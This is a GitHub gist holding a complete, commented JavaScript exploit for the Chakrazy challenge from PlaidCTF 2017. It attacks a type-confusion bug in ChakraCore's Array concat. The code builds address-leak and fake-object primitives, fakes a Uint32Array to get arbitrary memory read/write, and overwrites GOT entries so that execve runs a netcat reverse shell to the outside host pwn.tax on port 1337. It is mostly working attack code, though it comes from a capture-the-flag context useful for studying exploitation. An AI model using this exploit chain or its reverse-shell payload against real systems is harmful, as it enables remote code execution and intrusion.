Skip to content

Instantly share code, notes, and snippets.

@wizche
Forked from eboda/exploit.js
Created March 22, 2021 13:45
Show Gist options
  • Save wizche/0cf5f3f3083fd8437c9c06a1f19e6c42 to your computer and use it in GitHub Desktop.
Save wizche/0cf5f3f3083fd8437c9c06a1f19e6c42 to your computer and use it in GitHub Desktop.
Exploit for Chakrazy challenge from PlaidCTF 2017 - ChakraCore exploit
////////////////////////////////////////////////////////////////////////////
//
// The vulnerability was that the following line of code could change the type of the
// underlying Array from JavascriptNativeIntArray to JavascriptArray:
//
// spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
//
// As can be seen in the provided .diff, the check for whether the type of the pDestArray has changed
// was removed. If the aItem then is not a JavascriptArray, the following code path is taken:
// else
// {
// JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);
// ....
//
// Consequently in ConvertToVarArray() the pDestArray is converted to a JavascriptArray, even though it
// already is a JavascriptArray:
// ival = ((SparseArraySegment<int32>*)seg)->elements[i];
// The cast will let the ival be an int32, even though it actually should be a Val pointer.
//
// With this we can get primitives to leak addresses and fake objects, see comments in the
// corresponding functions below if you are interested. Using those primitives we achieve
// an arbitary read/write.
//
// From there, the basic exploitation idea is to overwrite GOT entries in a way that execve()
// will get called on input that we control. After looking through ChakraCore code I found a call to
// memmove in TypedArrayBase::Set(TypedArrayBase* source, uint32 offset). The memmove is called
// in the following way:
// void *ret_val = memmove_xplat(dst, src, count);
// It can be triggered by calling:
// var a = new Uint8Array(10);
// var b = new Uint8Array(10);
// a.set(b);
// In this case `dst` will point to the buffer of `a`, `src` to the buffer of `b` and `count` to the
// size of `b`. If we overwrite memmove() with execve() in the GOT, will have full control over
// the first two parameters, but unfortunately we do not control `count` very much.
//
// In order for execve() to succeed, we need `count` to be a valid pointer.
//
// After looking around some more in the code I found a call to memset() in
// SharedArrayBuffer::SharedArrayBuffer(uint32 length, DynamicType * type, Allocator allocator)
// which will move the value in r12 to rdx:
// mov rdx, r12
// call 0x7ffff5875f50
//
// Luckily for us, there is a valid pointer in r12 at the right time.
//
// Then all that is left to do:
// 1. Overwrite memmove@GOT with the address of the `mov rdx, r12` above
// 2. Overwrite memset@GOT with execve
// 3. Call cmd.set(args) and our command with the given arguments is executed.
//
///////////////////////////////////////////////////////////////////////////////////
function pwn() {
// exploit the bug and create our arbitrary r/w primitive
var mem = gimme_rw();
// get the base of libChakraCore.so
var base = get_base(mem);
console.log("[+] base @ " + base.toString(16));
// the following offets are hardcoded
var execve_got = base + 0xd9b790;
console.log("[+] execve_got @ " + execve_got.toString(16));
var execve_plt = mem.read64(execve_got);
console.log("[+] execve_plt @ " + execve_plt.toString(16));
var memmove_got = base + 0xd9b0f0;
console.log("[+] memmove_got @ " + memmove_got.toString(16));
var memset_got = base + 0xd9b218;
console.log("[+] memset_got @ " + memset_got.toString(16));
var load_ptr_in_rdx = base + 0x5c7c4b;
console.log("[+] load_ptr_in_rdx @ " + load_ptr_in_rdx.toString(16));
// now set up our command
var cmd = "/bin/sh";
// write the command into a Uint8Array
var target = new Uint8Array(0x1234);
for (var i = 0; i < cmd.length; i++) {
target[i] = cmd.charCodeAt(i);
}
// now set up the arguments for the command
// the payload here is jsut a simple reverse shell using netcat
// from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
var args = ["dontcare", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc pwn.tax 1337 >/tmp/f"];
var arg_array = create_arg_array(args, mem);
// need to call .set() before exploiting to resolve
// some PLT entries i guess, otherwise we will segfault
(new Uint8Array(1)).set(1);
// overwrite memmove with load_ptr_in_rdx (which will call memset just after)
mem.write32(memmove_got, lower(load_ptr_in_rdx));
mem.write32(memmove_got+4, upper(load_ptr_in_rdx));
// overwrite memset with execve_plt
mem.write32(memset_got, lower(execve_plt));
// GIMME SHELL NOW
target.set(arg_array);
}
function cloneFunc( func ) {
// from http://stackoverflow.com/a/19515928
// used to create a copy of a function
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi
, s = func.toString().replace(/^\s|\s$/g, '')
, m = reFn.exec(s);
if (!m || !m.length) return;
var conf = {
name : m[1] || '',
args : m[2].replace(/\s+/g,'').split(','),
body : m[3] || ''
}
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body));
return clone;
}
function fakeobj(addr) {
// proxy function which clones the original function at each call
// this is needed cause otherwise the function gets JITed and does not
// work more than once
fakeobj_ = cloneFunc(fakeobj_);
return fakeobj_(addr);
}
function addrof(obj) {
addrof_ = cloneFunc(addrof_);
return addrof_(obj);
}
function fakeobj_(addr) {
// fakeobj() allows us to get a javascript handle for an arbitrary address
// Basically it can be used to somewhere in memory fake the layout and contents
// of an object and then actually return a handle for the object and use it
var a1 = [];
for (var i = 0; i < 0x100; i++) {
a1[i] = i;
}
var a2 = [lower(addr), upper(addr)];
var c = new Function();
c[Symbol.species] = function() {
new_array = [];
return new_array;
};
a1.constructor = c;
a2.__defineGetter__(Symbol.isConcatSpreadable, function () {
new_array[0] = {};
return true;
});
var res = a1.concat(a2);
return res[0x100/2];
}
function addrof_(obj) {
// addrof() allows to leak the memory location of an object
// this function uses the bug in JavascriptArray::ConcatIntArgs
var a = [0, 1, 2];
var b = [0, 1, 2];
var cons = new Function();
cons[Symbol.species] = function() {
qq = []; // here qq is just a JavascriptNativeIntArray
return qq;
}
// using the species contructor allows us to get a handle on the result array
// of functions such as map() or concat()
a.constructor = cons;
// Here we define a custom getter for the Symbol.isConcatSpreadable property
// In it we change the type of qq by simply assigning an object to it
fakeProp = { get: function() {
b[1] = obj;
qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
return true;
}};
Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);
// trigger the vulnerability
var c = a.concat(b);
return combine(c[0], c[1]);
}
function lower(x) {
// returns the lower 32bit of x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}
function upper(x) {
// returns the upper 32bit of x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}
function combine(a, b) {
a = a >>> 0;
b = b >>> 0;
return parseInt(b.toString(16) + a.toString(16), 16);
}
// use Uint64Number to leak the Array vtable pointer
function leak_vtable() {
// We will place a JavascriptUint64Number object in the very
// last element of `a`. The memory layout will look something like this:
//
// [ vtable ptr of a | type ptr of a ]
// [ ... more header fields of a ... ]
// [ el0 el1 el2 el3 ]
// [ el4 el5 el6 el7 ]
// [ el8 el9 el10 el11 ]
// [ el12 el13 el14 el15 ]
// [ vtable ptr of b | type ptr of b ]
// [ .... more fields of b ... ]
//
// We will fake the object by setting el14 and el15 to point
// to a type struct containing the value 0x6, which we store in el4:
//
// [ vtable ptr of a | type ptr of a ]
// [ ... more header fields of a ... ]
// [ el0 el1 el2 el3 ]
// [ 0x6 el5 el6 el7 ]
// [ el8 el9 el10 el11 ]
// [ 0 0 ptr_to_el4 ] <--fake Uint64Number
// [ vtable ptr of b | type ptr of b ] <-*
// [ .... more fields of b ... ]
//
// Our fake JavascriptUint64Number will start at el12. The first qword
// is the vtable ptr (it wont be used so we dont set it), the second one
// is the type ptr (we set it to point to el4) and the third qword
// is the actual integer value.
// When we call parseInt(fakeUint64obj) it will grab and return
// the value from the third qword, which in our setup above is the
// vtable ptr of b.
var a = new Array(16);
for (var i = 0; i < 18;i++) a[i] = 0;
var b = new Array(16);
for (var i = 0; i < 18;i++) b[i] = 0x1337+i;
// get the address of the first array
a_addr = addrof(a);
// at offset 0x68 lies el4, i.e. the type of our fake Uint64 obj
uint64_type_ptr = a_addr + 0x68;
// we set el4 to 0x6 since 0x6 is the type of Uint64Number
a[4] = 0x6; // type of Uint64
// set up the type pointer for our fake a Uint64 object
a[16] = lower(uint64_type_ptr)
a[17] = upper(uint64_type_ptr)
// now everything is set up, we fake the Uint64 object
fakeUint64 = fakeobj(a_addr + 0x90)
// finally we leak the vtable pointer of b by calling parseInt()
// on our fake object
vtable = parseInt(fakeUint64);
return vtable
}
function gimme_rw() {
// For arbitrary read/write we will fake a Uint32Array inside the inline data
// of a regular Array. For a regular Array to have inline data it has to be initialized
// with at most 16 elements.
// Once we have the Uint32Array faked, we can control its buffer pointer and point
// it to wherever we want, allowing us to read/write at any address.
//
// In order to fake a Uint32Array we need to set 5 values: the vtable pointer, the type
// pointer, the ArrayBuffer pointer, its size and finally the buffer pointer. The memory layout
// will look like this:
//
// 0x00 | vtable ptr | type ptr | <----.
// 0x10 | ... | ... | |
// 0x20 | ... | ... | |
// ... ... ... >------ new Array(16)
// 0x50 | ... | vtable ptr | <-. |
// 0x60 | type ptr | 0 | | |
// 0x70 | 0 | size | >----- faked Uint32Array
// 0x80 | ArrayBuffer ptr | 0 | | |
// 0x90 | buffer ptr | ... | <-* |
// 0xa0 | ... | ... | |
// <--- *
// Then as we can see at the offset 0x58 we will have our fake Uint32Array.
//
// first we leak the vtable of an Array
array_vtable = leak_vtable();
console.log("[+] array vtable @ " + array_vtable.toString(16));
// Using an offset we calculate the Uint32Array vtable
uint_vtable = array_vtable - 0x18368;
console.log("[+] Uint32Array vtable @ " + uint_vtable.toString(16));
// Next we obtain the address of an ArrayBuffer
var ab = new ArrayBuffer(0x1000);
var ab_addr = addrof(ab);
// The type pointer should point to a struct whose first element
// is 0x30, which is the type id for a Uint32Array
var type = new Array(16);
type[0] = 0x30; // type == Uint32Array == 0x30
// the address we want is at offset 0x58 (where the inline data for Arrays begins)
var array_type = addrof(type)+0x58;
// now fake the Uint32Array object inside the inline data of the real Array
var real = new Array(16);
var real_addr = addrof(real);
// fake vtable pointer
real[0] = lower(uint_vtable);
real[1] = upper(uint_vtable);
// fake type pointer
real[2] = lower(array_type);
real[3] = upper(array_type);
// dont care
real[4] = 0;
real[5] = 0;
real[6] = 0;
real[7] = 0;
// fake size
real[8] = 0x1000;
real[9] = 0;
// fake ArrayBuffer pointer
real[10] = lower(ab_addr);
real[11] = upper(ab_addr);
// dont care
real[12] = 0;
real[13] = 0;
// the following creates an object which we will use to read and write
// memory arbitrarily
var memory = {
handle: fakeobj(real_addr + 0x58),
init: function(addr) {
// we set the buffer pointer of the fake Uint32Array to the
// target address
real[14] = lower(addr);
real[15] = upper(addr);
// Now get a handle to the fake object!
return memory.handle;
},
read32: function(addr) {
fake_array = memory.init(addr);
return fake_array[0];
},
read64: function(addr) {
fake_array = memory.init(addr);
return combine(fake_array[0], fake_array[1]);
},
write32: function(addr, data) {
fake_array = memory.init(addr);
fake_array[0] = data;
},
write64: function(addr, data) {
fake_array = memory.init(addr);
fake_array[0] = lower(data);
fake_array[1] = lower(upper);
}
}
return memory;
}
function get_base(mem) {
// the base can be found by reading the first vtable entry of an Array,
// which will be a pointer to the Finalize function. With an offet the
// base can be calculated
var x = new Array(16);
x_addr = addrof(x);
vtable = mem.read64(x_addr);
finalizer = mem.read64(vtable);
console.log(finalizer.toString(16));
return finalizer - 0x154a80; // hardcoded offset
}
function create_arg_array(args, mem) {
// This will generate a valid args array for execve()
// For this we will create first a Uint8Array which will contain our
// arg strings. For example if we want to execute `/bin/cat /etc/flag` later on
// the args array will contain ['dontcare', '/etc/flag', 0]
// arg_str is the array containing the actual arg strings
var arg_str = new Uint8Array(1000);
var arg_str_buf = addrof(arg_str) + 0x38; // offset 0x38 is the pointer to the actual buffer containing data
var arg_str_addr = mem.read64(arg_str_buf);
console.log("[+] arg_str @ " + arg_str_addr.toString(16));
// now we fill in the actual strings and at the same time create an arg_ptrs array
// containing pointers to those strings
var arg_ptrs = [];
var lastidx = 0; // current char counter
for (var i = 0; i < args.length; i++) {
arg_ptrs.push(arg_str_addr + lastidx);
// write the current arg string into the buffer
for (var j = 0; j < args[i].length; j++) {
arg_str[lastidx++] = args[i].charCodeAt(j);
}
arg_str[lastidx++] = 0; // null terminated strings
}
// Here we create another array in which we will write the pointers
// from the `arg_ptrs` array. Remember, those pointers point to our arg
// strings.
var buffer = new ArrayBuffer(1000);
var arg_array = new Uint32Array(buffer);
var arg_array_buf = addrof(arg_array) + 0x38
var arg_array_addr = mem.read64(arg_array_buf);
for (var i = 0; i < arg_ptrs.length; i++) {
arg_array[2*i] = lower(arg_ptrs[i]);
arg_array[2*i + 1] = upper(arg_ptrs[i]);
}
console.log("[+] arg_ptr_buf @ " + arg_array_addr.toString(16));
// now arg_array contains pointers to the argument strings
// we can simply return a Uint8Array (this is important for later) now
return new Uint8Array(buffer);
}
pwn();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment